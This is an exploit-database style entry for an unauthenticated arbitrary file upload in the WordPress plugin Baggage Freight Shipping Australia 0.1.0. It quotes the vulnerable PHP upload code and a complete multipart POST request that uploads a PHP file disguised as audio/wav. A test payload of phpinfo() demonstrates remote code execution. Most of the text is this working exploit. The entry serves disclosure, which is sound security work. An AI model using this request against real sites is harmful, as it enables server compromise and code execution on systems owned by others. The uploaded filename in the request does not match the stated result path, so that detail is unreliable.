Wordpress plugin baggage freight shipping australia 0.1.0 arbitrary file upload Vulnerability / Exploit

  /     /     /  

Exploits / Vulnerability Discovered : 2018-12-27 | Type : webapps | Platform : php

---

[+] Code ...

# Exploit Title: WordPress Plugin Baggage Freight Shipping Australia 0.1.0 - Arbitrary File Upload
# Date: 2018-12-24
# Software Link: https://wordpress.org/plugins/baggage-freight/
# Exploit Author: Kaimi
# Website: https://kaimi.io
# Version: 0.1.0
# Category: webapps

# Unrestricted file upload for unahtorized user in package info upload
# process allowing arbitrary extension.

File: upload-package.php

Vulnerable code:
if($_POST["submit"])
{
if ($_FILES["file"])
{
$uploadpath = "../wp-content/plugins/baggage_shipping/upload/".time()."_".$_FILES["file"]["name"];

move_uploaded_file($_FILES["file"]["tmp_name"],$uploadpath);

# Exploitation example:

POST /wp-content/plugins/baggage-freight/upload-package.php HTTP/1.1
Host: example.com
Content-Type: multipart/form-data; boundary=---------------------------18311719029180117571501079851
...
-----------------------------18311719029180117571501079851
Content-Disposition: form-data; name="submit"

1
-----------------------------18311719029180117571501079851
Content-Disposition: form-data; name="file"; filename="file.php"
Content-Type: audio/wav

<?php phpinfo();
-----------------------------18311719029180117571501079851--

# Uploaded file will be located at /wp-content/plugins/baggage_shipping/upload/{timestamp}_info.php.